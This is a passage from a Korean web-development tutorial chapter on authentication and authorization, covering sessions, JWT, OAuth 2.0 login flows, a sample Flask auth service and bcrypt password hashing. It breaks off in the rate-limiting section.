Skip to content
Main Navigation 홈초보자 & PM풀스택 개발고급 개발부록

한국어

简体中文
English
日本語
繁體中文
Español
Français
Deutsch
العربية
Tiếng Việt

한국어

简体中文
English
日本語
繁體中文
Español
Français
Deutsch
العربية
Tiếng Việt

Appearance

Sidebar Navigation

I. 컴퓨터 기초

Vibe Coding 시대의 풀스택 개발

전원을 켜서 웹사이트에 접속하기까지 무슨 일이 일어날까

트랜지스터에서 CPU까지

컴퓨터 구조 원리

운영체제: 컴퓨터에 "대관리인" 고용하기

데이터의 인코딩과 전송이란?

컴퓨터 네트워크

자료구조

알고리즘 사고 입문

프로그래밍 언어 지도

컴파일러 원리 입문

타입 시스템 입문

II. 도구와 환경

통합 개발 환경 (IDE) 기초

명령어와 셸 스크립트

Git: 코드의 타임머신

환경 변수와 PATH

포트와 localhost

SSH와 키 인증

패키지 관리자

디버깅의 예술

정규표현식

III. 브라우저와 프론트엔드

JavaScript 심층 가이드

TypeScript 심층 가이드

프론트엔드 프레임워크 심층 가이드

브라우저 렌더링 파이프라인

HTML / CSS 레이아웃 시스템

JavaScript 런타임 심층 가이드

프론트엔드 프레임워크의 본질

상태 관리 철학

라우팅과 내비게이션

그래픽과 애니메이션 (Canvas와 그 친구들)

실시간 통신 메커니즘 (Polling / SSE / WebSocket)

웹 성능 측정과 최적화

프론트엔드 엔지니어링 전체 개요

프론트엔드 프로젝트 아키텍처 설계

웹페이지의 숨겨진 차원: 국제화와 접근성

IV. 서버와 백엔드

백엔드 언어 비교

클라이언트 언어(Swift / Kotlin / Dart)

크로스 플랫폼方案(React Native / Flutter / Electron / Tauri)

HTTP 프로토콜: 프론트엔드와 백엔드의 "통신 언어"

하나의 요청이 완성하는 전체 여정

웹 프레임워크의 본질

API 입문: 제로부터 이해하는 "프로그램 간의 대화"

API 설계: 프론트엔드와 백엔드의 "대화 프로토콜"

직렬화: 데이터의 "번역"

인증 및 권한 부여 체계

동시성, 비동기와 멀티스레딩

캐시의 계층과 전략

메시지 큐와 이벤트 기반 아키텍처

비동기 작업 큐와 생산자-소비자 모델

속도 제한과 배압 제어

검색 엔진 원리

파일 스토리지와 오브젝트 스토리지

백엔드 계층형 아키텍처

백엔드 프로젝트 아키텍처 설계

도메인 특화 언어(DSL): 백엔드 세계에서 "코드 같지 않은 코드"

V. 데이터

데이터베이스 기초 (인덱스 / 트랜잭션 / 쿼리 최적화)

데이터 모델 전체 그림 (문서 / 그래프 / 시계열 / 벡터)

데이터 트래킹: 사용자가 애플리케이션에서 무엇을 했는지 기록하기

데이터 분석: 핵심 개념, 논리 및 심층 인사이트

A/B 테스트: 데이터로 "의사결정"하기

데이터 시각화와 대시보드

데이터 거버넌스와 데이터 품질

VI. 아키텍처

모놀리식에서 마이크로서비스로의 진화

분산 시스템의 도전 과제

고가용성과 재해 복구

시스템 설계 방법론

VII. 인프라

Linux 기초

Docker 컨테이너화

Kubernetes 오케스트레이션

CI / CD 자동화

도메인, DNS와 HTTPS

로드 밸런싱과 게이트웨이

게이트웨이와 리버스 프록시

클라우드 플랫폼 실전

클라우드 신원 및 권한 관리

객체 스토리지와 CDN

Infrastructure as Code

모니터링, 로깅과 알림

장애 대응과 인시던트 관리

VIII. 인공지능

AI 약사: 기호 논리에서 천억 파라미터 대형 모델까지

신경망과 딥러닝

Transformer와 어텐션 메커니즘: 대형 모델의 핵심 엔진

대규모 언어 모델의 작동 원리

프롬프트 엔지니어링 (Prompt Engineering)

컨텍스트 엔지니어링

멀티모달 모델 (비전 / 오디오 / 비디오)

이미지 생성 원리

음성 합성 및 인식 원리

Embedding과 벡터 검색

RAG: 검색 증강 생성

AI Agent와 도구 호출

AI Agent 프로토콜 (MCP & A2A)

모델 파인튜닝과 배포

AI 네이티브 애플리케이션 설계

AI 능력 사전

IX. 엔지니어링 품질

코드 품질과 리팩터링

테스트 전략

디자인 패턴

보안 사고와 공격/방어 기초

기술 문서 작성

오픈소스 협업

기술 선택 방법론

페이지 탐색

인증 및 권한 부여 체계 ​

💡 학습 가이드: 이 장에서는 백엔드 시스템의 "출입 통제 시스템"인 인증(Authentication)과 권한 부여(Authorization)를 깊이 있게 살펴봅니다. 가장 기본적인 "당신은 누구인가"부터 시작하여 Session, JWT, OAuth 2.0 등 현대적인 인증 방식을 차근차근 익혀보겠습니다.

🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

0. 들어가며: 시스템의 "출입 통제" ​

위챗에 로그인한 후, 앱을 껐다가 다시 열어도 로그인 상태가 유지되는 이유는 무엇일까요? Bilibili에 접속했을 때, 당신이 프리미엄 회원인지 일반 사용자인지 어떻게 알 수 있을까요? 위챗 QR 코드로 서드파티 사이트에 로그인할 때, 비밀번호를 입력하지 않아도 되는 이유는 무엇일까요?

이 모든 것의 배후에는 핵심 시스템이 있습니다: 인증과 권한 부여 (Authentication & Authorization).

백엔드 시스템을 하나의 건물에 비유하자면:

  • 인증 (Authentication): "당신은 누구인가"를 확인합니다 (신분증/출입 카드 검증).
  • 권한 부여 (Authorization): "당신이 어디에 갈 수 있는가"를 확인합니다 (VIP는 VIP 라운지에 입장할 수 있지만, 일반 사용자는 불가능).

0.1 왜 인증이 필요한가? ​

단 하나의 이유입니다: 리소스 보호.

  • 개인정보 보호: 당신의 개인 정보, 채팅 기록은 오직 당신만 볼 수 있습니다.
  • 권한 제어: 관리자는 사용자를 삭제할 수 있지만, 일반 사용자는 불가능합니다.
  • 악용 방지: 악의적인 호출, API 남용을 방지합니다.
🧰 Four Common Authentication Credentials
Choose a method to see what the request looks like, where it fits, and the common pitfalls.
What the request looks like
GET /api/profile
Authorization: Basic <base64(username:password)>
Base64 is not encryption. Use HTTPS, and avoid it for public production systems.
When to use it, and when not to
✅ Good fit
  • Very simple and supported by every client
  • Useful for internal or temporary debugging tools
⚠️ Poor fit / risks
  • Sends the password on every request, which is risky
  • No real logout unless the server changes the password
  • Not a good fit for modern product systems
Rule of thumb
Authenticate first, then authorize. Credentials only prove identity; authorization must always be enforced on the server.

0.2 인터랙티브 데모: 로그인 흐름 ​

실제 로그인 데모를 통해 인증과 권한 부여가 어떻게 작동하는지 이해해 봅시다.

🔐 Authentication Flow Demo
Simulate login to understand the difference between authentication and authorization.
Choose auth method:
Login form
💡 Tip
Try username admin,password 123456
📊 Data Flow Visualization

핵심 포인트: 인증은 첫 번째 방어선이며, 모든 민감한 작업은 반드시 먼저 신원을 확인해야 합니다.


1. 기본 개념: 인증 vs 권한 부여 ​

1.1 인증 (Authentication): 당신은 누구인가? ​

사용자의 신원을 확인합니다.

  • 예시: 사용자 이름과 비밀번호 입력, 지문 스캔, 안면 인식.
  • 출력: "당신"을 나타내는 토큰(Token).
  • 영문 약어: AuthN

1.2 권한 부여 (Authorization): 당신은 무엇을 할 수 있는가? ​

사용자가 어떤 권한을 가지고 있는지 확인합니다.

  • 예시: 관리자는 글을 삭제할 수 있고, 일반 사용자는 좋아요만 누를 수 있습니다.
  • 출력: 접근 허용 또는 거부.
  • 영문 약어: AuthZ

1.3 두 개념의 관계 ​

사용자 요청 → 인증 (당신은 누구인가?) → 권한 부여 (이 작업을 할 수 있는가?) → 비즈니스 로직 실행
              ↓                          ↓
          신원 확인                  권한 확인
          (Token 유효?)             (delete 권한이 있는가?)
🪪 AuthN vs 🛂 AuthZ: What Happens to a Request?
Choose who is making the request and what they want to do to see where authentication and authorization apply.
Choose request
In a real system, authentication happens first by parsing a cookie or JWT, while authorization happens in routing or business logic with RBAC/ABAC.
Simulation result
AuthN (authentication)Fail
AuthZ (authorization)Deny
HTTP401 Unauthorized
Request: view_profile
AuthN: FAIL - Missing valid credential such as cookie or JWT
AuthZ: DENY - Authentication failed, so authorization cannot be evaluated
Result: 401 Unauthorized
Key points
  • Authentication failure:the system does not know who you are, so it usually returns 401.
  • Authenticated but unauthorized:the system knows who you are, but you cannot perform the action, so it usually returns 403.
  • Authorization rules belong on the server:do not trust whether the frontend shows a button; that is only UX.

핵심 포인트: 먼저 인증하고, 그다음 권한을 부여합니다. "당신이 누구인지" 확인해야만 "당신이 무엇을 할 수 있는지" 판단할 수 있습니다.


2. 인증 방식의 발전사 ​

2.1 1세대: HTTP Basic Authentication ​

가장 오래된 방식으로, 사용자 이름과 비밀번호를 HTTP 헤더에 직접 넣습니다.

http
GET /api/user/profile HTTP/1.1
Host: example.com
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
                      (base64("username:password"))
  • 장점: 간단하며, 모든 브라우저가 지원합니다.
  • 단점:
    • 안전하지 않음 (Base64는 디코딩이 가능하여 사실상 평문과 같습니다).
    • 매 요청마다 비밀번호를 전송해야 함 (가로채기 쉽습니다).
    • 능동적으로 로그아웃할 수 없음 (브라우저를 닫지 않는 한).

결론: 내부 테스트 도구에만 적합하며, 절대 프로덕션 환경에서는 사용하지 마십시오.

2.2 2세대: Session + Cookie ​

웹 개발의 클래식한 방식입니다.

흐름:

1. 사용자 로그인 (POST /login)
   → 서버가 사용자 이름과 비밀번호를 검증
   → Session 생성 (서버 메모리 또는 Redis에)
   → Set-Cookie: session_id=abc123 반환

2. 이후 요청
   → 브라우저가 자동으로 Cookie: session_id=abc123을 포함
   → 서버가 session_id로 Session을 조회
   → 찾으면 "당신이 맞다"고 판단

코드 예시:

python
# 백엔드 (Python Flask)
from flask import session, request

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    # 사용자 이름과 비밀번호 검증
    user = db.authenticate(username, password)
    if user:
        # Session 생성
        session["user_id"] = user.id
        session["role"] = user.role
        return {"status": "success"}
    else:
        return {"error": "사용자 이름 또는 비밀번호가 잘못되었습니다"}, 401

@app.route("/api/admin/users")
def get_users():
    # Session 확인
    if "user_id" not in session:
        return {"error": "로그인되지 않음"}, 401

    # 권한 확인
    if session.get("role") != "admin":
        return {"error": "권한 부족"}, 403

    # 비즈니스 로직 실행
    users = db.get_all_users()
    return {"users": users}
🍪 Session + Cookie: Stateful Login
The demo advances manually so each state is visible before the next step.
Browser (client)
Cookie Jar
No cookie yet
Request in this step
(click start)
Server
Session Store(Redis/Memory)
No session yet
Response in this step
Workflow notes

장점:

  • 간단하고 직관적이며 이해하기 쉽습니다.
  • 서버 측에서 능동적으로 로그아웃할 수 있습니다 (Session 삭제).

단점:

  • 서버에 상태가 있음: Session을 저장해야 하며, 여러 대의 서버는 공유 저장소(예: Redis)가 필요합니다.
  • 크로스 도메인 어려움: Cookie는 기본적으로 크로스 도메인을 지원하지 않습니다 (CORS 문제).
  • CSRF 공격: 악성 웹사이트가 당신의 Cookie를 도용할 수 있습니다.

결론: 전통적인 웹 애플리케이션(서버 사이드 렌더링)에 적합하며, 모바일 및 현대적인 SPA에는 적합하지 않습니다.

2.3 3세대: Token (JWT) ​

현대 웹의 주류 방식입니다.

핵심 아이디어: 서버 측에 상태를 저장하지 않고, 사용자 정보를 암호화하여 Token으로 만들어 클라이언트에 저장합니다.

JWT 구조:

JWT = Header.Payload.Signature

예시:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJhZG1pbiIsImV4cCI6MTYxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
 |--------------------------------| |-----------------------------------------------| |----------------------------|
           Header                           Payload                                      Signature
  • Header: 알고리즘 정보 (예: {"alg": "HS256", "typ": "JWT"}).
  • Payload: 사용자 정보 (예: {"user_id": 123, "role": "admin", "exp": 1616239022}).
  • Signature: 서명 (변조 방지).

흐름:

python
# 1. 사용자 로그인
@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    user = db.authenticate(username, password)
    if user:
        # JWT 생성
        token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "exp": datetime.now() + timedelta(hours=24)  # 24시간 후 만료
            },
            SECRET_KEY,
            algorithm="HS256"
        )
        return {"token": token}
    else:
        return {"error": "사용자 이름 또는 비밀번호가 잘못되었습니다"}, 401

# 2. 이후 요청
@app.route("/api/admin/users")
def get_users():
    # Header에서 Token 가져오기
    auth_header = request.headers.get("Authorization")
    if not auth_header or not auth_header.startswith("Bearer "):
        return {"error": "Token이 제공되지 않음"}, 401

    token = auth_header.split(" ")[1]

    try:
        # Token 검증 및 파싱
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    except jwt.ExpiredSignatureError:
        return {"error": "Token이 만료되었습니다"}, 401
    except jwt.InvalidTokenError:
        return {"error": "Token이 유효하지 않습니다"}, 401

    # 권한 확인
    if payload.get("role") != "admin":
        return {"error": "권한 부족"}, 403

    # 비즈니스 로직 실행
    users = db.get_all_users()
    return {"users": users}
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1781661443,
  "exp": 1781665043
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

장점:

  • 무상태: 서버 측에서 Session을 저장하지 않아 수평적 확장이 용이합니다.
  • 크로스 도메인 친화적: Header에 포함되므로 Cookie의 크로스 도메인 제한을 받지 않습니다.
  • 모바일 친화적: 네이티브 앱에서도 쉽게 사용할 수 있습니다.
  • 풍부한 정보: Payload에 사용자 정보, 권한 등을 저장할 수 있습니다.

단점:

  • 능동적 로그아웃 불가: Token이 한 번 발급되면 만료될 때까지 계속 유효합니다 (블랙리스트를 사용하지 않는 한).
  • Payload 노출: Base64 인코딩이므로 민감한 정보(예: 비밀번호)를 저장할 수 없습니다.
  • Token 크기: 매 요청마다 포함해야 하며, 수백 바이트에 달합니다.

결론: 현대 웹 및 모바일의 표준 방식입니다.

🧩 Session vs JWT: How Do You Choose?
Pick your constraints and get a recommendation with reasons. This is more useful than memorizing a rule.
Your scenario
Recommendation
Session + Cookie
The safest default for traditional Web apps
Why
  • Same-site Web plus immediate logout needs are easier to control with sessions.
  • For multiple instances, use a shared session store such as Redis.
Implementation tips
  • Cookie: HttpOnly + Secure + SameSite=Lax/Strict depending on the product
  • CSRF: SameSite plus CSRF token for layered defense
  • Session store: Redis + TTL + renewal strategy such as sliding expiration
Common misconceptions
  • JWT is not automatically more secure:JWT is only stateless. Security depends on keys, expiration, storage, and authorization design.
  • Cookie does not automatically mean CSRF:SameSite plus CSRF tokens can significantly reduce risk.
  • Do not treat third-party OAuth tokens as your system tokens:They have different purposes.

3. OAuth 2.0: 서드파티 로그인 ​

다음과 같은 버튼을 본 적이 있을 것입니다: "위챗으로 로그인", "Google로 로그인".

이것이 바로 OAuth 2.0입니다: 권한 부여 프레임워크입니다 (인증이 아닙니다!).

3.1 핵심 역할 ​

역할설명예시
Resource Owner리소스 소유자 (사용자)당신
Client서드파티 애플리케이션어떤 웹사이트
Authorization Server인증 서버위챗, Google
Resource Server리소스 서버위챗의 사용자 정보 API

3.2 인증 코드 방식 (Authorization Code Flow) ​

가장 안전한 방식으로, 백엔드가 있는 서버에 적합합니다.

흐름:

1. 사용자가 "위챗으로 로그인" 클릭
   → 위챗 인증 페이지로 리다이렉트
   https://open.weixin.qq.com/connect/qrconnect?
     appid=APPID&
     redirect_uri=https://yourapp.com/callback&
     response_type=code&
     scope=snsapi_login&
     state=STATE

2. 사용자가 QR 코드를 스캔하고 권한 부여에 동의
   → 위챗이 당신의 웹사이트로 리다이렉트
   https://yourapp.com/callback?code=AUTHORIZATION_CODE&state=STATE

3. 당신의 백엔드가 code로 access_token 교환
   POST https://api.weixin.qq.com/sns/oauth2/access_token
   {
     "appid": "APPID",
     "secret": "SECRET",
     "code": "AUTHORIZATION_CODE",
     "grant_type": "authorization_code"
   }
   → 반환: { "access_token": "...", "openid": "..." }

4. access_token으로 사용자 정보 조회
   GET https://api.weixin.qq.com/sns/userinfo?
     access_token=ACCESS_TOKEN&
     openid=OPENID
   → 반환: { "nickname": "张三", "headimgurl": "..." }
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

코드 예시:

python
from flask import request, redirect

@app.route("/login/wechat")
def login_wechat():
    # 1. 위챗 인증 페이지로 리다이렉트
    auth_url = (
        "https://open.weixin.qq.com/connect/qrconnect"
        f"?appid={APPID}"
        f"&redirect_uri={urlencode(REDIRECT_URI)}"
        "&response_type=code"
        "&scope=snsapi_login"
        f"&state={generate_state()}"
    )
    return redirect(auth_url)

@app.route("/callback")
def wechat_callback():
    # 2. code 가져오기
    code = request.args.get("code")
    state = request.args.get("state")

    # state 검증 (CSRF 방지)
    if not verify_state(state):
        return {"error": "Invalid state"}, 400

    # 3. code로 access_token 교환
    token_resp = requests.post(
        "https://api.weixin.qq.com/sns/oauth2/access_token",
        params={
            "appid": APPID,
            "secret": SECRET,
            "code": code,
            "grant_type": "authorization_code"
        }
    ).json()

    access_token = token_resp["access_token"]
    openid = token_resp["openid"]

    # 4. 사용자 정보 조회
    user_info = requests.get(
        "https://api.weixin.qq.com/sns/userinfo",
        params={
            "access_token": access_token,
            "openid": openid
        }
    ).json()

    # 5. 로컬에서 사용자 생성 또는 업데이트
    user = db.get_or_create_user(
        openid=openid,
        nickname=user_info["nickname"],
        avatar=user_info["headimgurl"]
    )

    # 6. 자체 시스템의 JWT 생성
    token = jwt.encode(
        {"user_id": user.id, "exp": ...},
        SECRET_KEY
    )

    return {"token": token}

핵심 포인트:

  • code는 한 번만 사용 가능: 사용 후 즉시 무효화되어 가로채기를 방지합니다.
  • state로 CSRF 방지: 무작위 문자열을 생성하여 콜백 시 검증함으로써 악성 웹사이트의 위조를 방지합니다.
  • redirect_uri는 반드시 일치해야 함: 위챗 오픈 플랫폼에 미리 등록하여 리다이렉트 공격을 방지합니다.

3.3 기타 방식 ​

방식적용 시나리오보안성
인증 코드 방식백엔드가 있는 서버⭐⭐⭐⭐⭐
암시적 방식 (Implicit)순수 프론트엔드 애플리케이션 (SPA)⭐⭐⭐ (권장하지 않음)
비밀번호 방식 (Resource Owner)높은 신뢰도의 애플리케이션 (예: 공식 앱)⭐⭐
클라이언트 자격 증명 방식 (Client Credentials)서버 간 통신 (사용자 없음)⭐⭐⭐⭐
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

4. 실전: 완전한 인증 시스템 설계하기 ​

4.1 요구사항 분석 ​

  • 멀티 플랫폼 지원: Web, iOS, Android.
  • 서드파티 로그인: 위챗, Google.
  • 권한 제어: 일반 사용자, VIP, 관리자.
  • 보안: 남용 방지, 하이재킹 방지, 재전송 공격 방지.

4.2 아키텍처 설계 ​

┌─────────────┐
│   클라이언트  │
└──────┬──────┘
       │
       ▼
┌─────────────────────────────────┐
│         API Gateway             │
│  - Rate Limiting (속도 제한)     │
│  - Token Validation (검증)       │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│      Auth Service (인증 서비스)  │
│  - 회원가입, 로그인              │
│  - Token 발급 및 검증            │
│  - OAuth 2.0 통합                │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│    Business Services             │
│  - User Service                  │
│  - Order Service                 │
│  - Payment Service               │
└─────────────────────────────────┘

4.3 데이터베이스 설계 ​

sql
-- 사용자 테이블
CREATE TABLE users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,  -- bcrypt 해시
    email VARCHAR(100) UNIQUE,
    role ENUM('user', 'vip', 'admin') DEFAULT 'user',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    INDEX idx_username (username),
    INDEX idx_email (email)
);

-- 서드파티 로그인 연동 테이블
CREATE TABLE user_auth_providers (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    user_id BIGINT NOT NULL,
    provider ENUM('wechat', 'google', 'github') NOT NULL,
    provider_user_id VARCHAR(100) NOT NULL,  -- 서드파티의 사용자 ID
    access_token TEXT,  -- 암호화 저장
    refresh_token TEXT,
    expires_at TIMESTAMP,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    UNIQUE KEY uk_provider_provider_user_id (provider, provider_user_id),
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- Token 블랙리스트 (능동적 로그아웃용)
CREATE TABLE token_blacklist (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    token_jti VARCHAR(100) UNIQUE NOT NULL,  -- JWT의 JTI (고유 식별자)
    expired_at TIMESTAMP NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_expired_at (expired_at)
);
🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

4.4 코드 구현 ​

python
# auth_service.py
import bcrypt
import jwt
from datetime import datetime, timedelta

SECRET_KEY = "your-secret-key-here"  # 프로덕션 환경에서는 환경 변수 사용

class AuthService:
    def register(self, username: str, password: str, email: str = None):
        # 1. 사용자 이름 중복 확인
        if db.get_user_by_username(username):
            raise ValueError("사용자 이름이 이미 존재합니다")

        # 2. 비밀번호 해시 (bcrypt)
        password_hash = bcrypt.hashpw(
            password.encode('utf-8'),
            bcrypt.gensalt(rounds=12)
        ).decode('utf-8')

        # 3. 사용자 생성
        user = db.create_user(
            username=username,
            password_hash=password_hash,
            email=email
        )

        # 4. Token 발급
        return self._generate_tokens(user)

    def login(self, username: str, password: str):
        # 1. 사용자 조회
        user = db.get_user_by_username(username)
        if not user:
            raise ValueError("사용자 이름 또는 비밀번호가 잘못되었습니다")

        # 2. 비밀번호 검증
        if not bcrypt.checkpw(
            password.encode('utf-8'),
            user.password_hash.encode('utf-8')
        ):
            raise ValueError("사용자 이름 또는 비밀번호가 잘못되었습니다")

        # 3. Token 발급
        return self._generate_tokens(user)

    def _generate_tokens(self, user):
        now = datetime.now()

        # Access Token (단기, 예: 1시간)
        access_token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "type": "access",
                "iat": now,
                "exp": now + timedelta(hours=1),
                "jti": str(uuid4())  # 고유 식별자
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        # Refresh Token (장기, 예: 30일)
        refresh_token = jwt.encode(
            {
                "user_id": user.id,
                "type": "refresh",
                "iat": now,
                "exp": now + timedelta(days=30),
                "jti": str(uuid4())
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        return {
            "access_token": access_token,
            "refresh_token": refresh_token,
            "token_type": "Bearer",
            "expires_in": 3600  # access_token 만료 시간 (초)
        }

    def refresh(self, refresh_token: str):
        try:
            payload = jwt.decode(refresh_token, SECRET_KEY, algorithms=["HS256"])
            if payload.get("type") != "refresh":
                raise ValueError("Invalid token type")

            user = db.get_user_by_id(payload["user_id"])
            return self._generate_tokens(user)
        except jwt.ExpiredSignatureError:
            raise ValueError("Refresh token이 만료되었습니다")
        except jwt.InvalidTokenError:
            raise ValueError("Refresh token이 유효하지 않습니다")

    def logout(self, token: str):
        # Token을 블랙리스트에 추가
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        db.add_to_blacklist(
            jti=payload["jti"],
            expired_at=datetime.fromtimestamp(payload["exp"])
        )

    def verify_token(self, token: str):
        try:
            payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])

            # 블랙리스트 확인
            if db.is_token_blacklisted(payload["jti"]):
                raise ValueError("Token이 로그아웃되었습니다")

            return payload
        except jwt.ExpiredSignatureError:
            raise ValueError("Token이 만료되었습니다")
        except jwt.InvalidTokenError:
            raise ValueError("Token이 유효하지 않습니다")

# API 데코레이터
def require_auth(auth_service: AuthService):
    def decorator(f):
        def wrapper(*args, **kwargs):
            # Header에서 Token 가져오기
            auth_header = request.headers.get("Authorization")
            if not auth_header or not auth_header.startswith("Bearer "):
                return {"error": "Token이 제공되지 않음"}, 401

            token = auth_header.split(" ")[1]

            try:
                # Token 검증
                payload = auth_service.verify_token(token)
                # 사용자 정보를 요청 컨텍스트에 주입
                request.user = payload
                return f(*args, **kwargs)
            except ValueError as e:
                return {"error": str(e)}, 401

        return wrapper
    return decorator

def require_role(*roles):
    def decorator(f):
        def wrapper(*args, **kwargs):
            if not hasattr(request, "user"):
                return {"error": "로그인되지 않음"}, 401

            if request.user["role"] not in roles:
                return {"error": "권한 부족"}, 403

            return f(*args, **kwargs)
        return wrapper
    return decorator

# 사용 예시
@app.route("/api/admin/users", methods=["GET"])
@require_auth(auth_service)
@require_role("admin")
def get_users():
    users = db.get_all_users()
    return {"users": users}

@app.route("/api/user/profile", methods=["GET"])
@require_auth(auth_service)
def get_profile():
    user = db.get_user_by_id(request.user["user_id"])
    return {"user": user}

@app.route("/auth/refresh", methods=["POST"])
def refresh_token():
    refresh_token = request.json.get("refresh_token")
    try:
        tokens = auth_service.refresh(refresh_token)
        return tokens
    except ValueError as e:
        return {"error": str(e)}, 401
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1781661443,
  "exp": 1781665043
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

5. 보안 모범 사례 ​

5.1 비밀번호 저장 ​

❌ 잘못된 방법:

python
# 평문 저장 (절대 금지!)
db.save_password(username, password)

# MD5 / SHA1 해시 (충분히 안전하지 않음, 레인보우 테이블로 쉽게 크래킹됨)
hash = md5(password)
db.save_password(username, hash)

✅ 올바른 방법:

python
# bcrypt (적응형 해시, 느린 해시로 무차별 대입 공격 방지)
import bcrypt

password_hash = bcrypt.hashpw(
    password.encode('utf-8'),
    bcrypt.gensalt(rounds=12)  # rounds가 클수록 더 안전하지만 더 느림
)

# 검증
if bcrypt.checkpw(password.encode('utf-8'), password_hash):
    # 비밀번호 일치

왜 bcrypt인가?

  • 느림: 의도적으로 느리게 설계되어 (밀리초 단위) 무차별 대입 공격을 방지합니다.
  • 적응형: rounds를 조정할 수 있어 하드웨어 성능 향상에 따라 강화할 수 있습니다.
  • 솔트: 자체적으로 무작위 솔트를 포함하여 레인보우 테이블을 방지합니다.
🔐 Password Storage: Hash + Salt + Slow
See how PBKDF2, used here as a slow-hash demo, resists rainbow tables and brute force. Real projects usually choose bcrypt or Argon2.
Input
Higher values are slower and raise brute-force cost, but also slow down login.
salt
Output (simulation)
Algorithm: PBKDF2-SHA256Time: 0ms
derived key (hex)
(enter a password)
Conclusion
Do not store plaintext passwords. Do not use fast unsalted hashes such as MD5, SHA1, or direct SHA256 for passwords. Use a dedicated password hash or KDF with cost and salt.
🌈 Why Rainbow Tables Fail: Same Password + Different Salt → Different Result
salt A
hash A
-
salt B
hash B
-
Rainbow tables rely on precomputation. If the same password always produced the same hash, attackers could look it up quickly. Salt makes precomputation explode in cost.

5.2 무차별 대입 공격 방지 ​

  • 속도 제한: 동일 IP / 사용자 이름에 대해 1분에 5회만 시도 가능.
  • 인증 코드: 3회 실패 시 인증 코드 입력 요구.
  • 계정 잠금: 10회 실패 시 30분간 계정 잠금.
python
from functools import lru_cache
import time

@lru_cache(maxsize=10000)
def get_login_attempts(identifier: str) -> tuple:
    """(시도 횟수, 첫 번째 시도 시간)을 반환"""
    return (0, 0)

def check_rate_limit(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    now = time.time()

    # 1분 내에 초기화
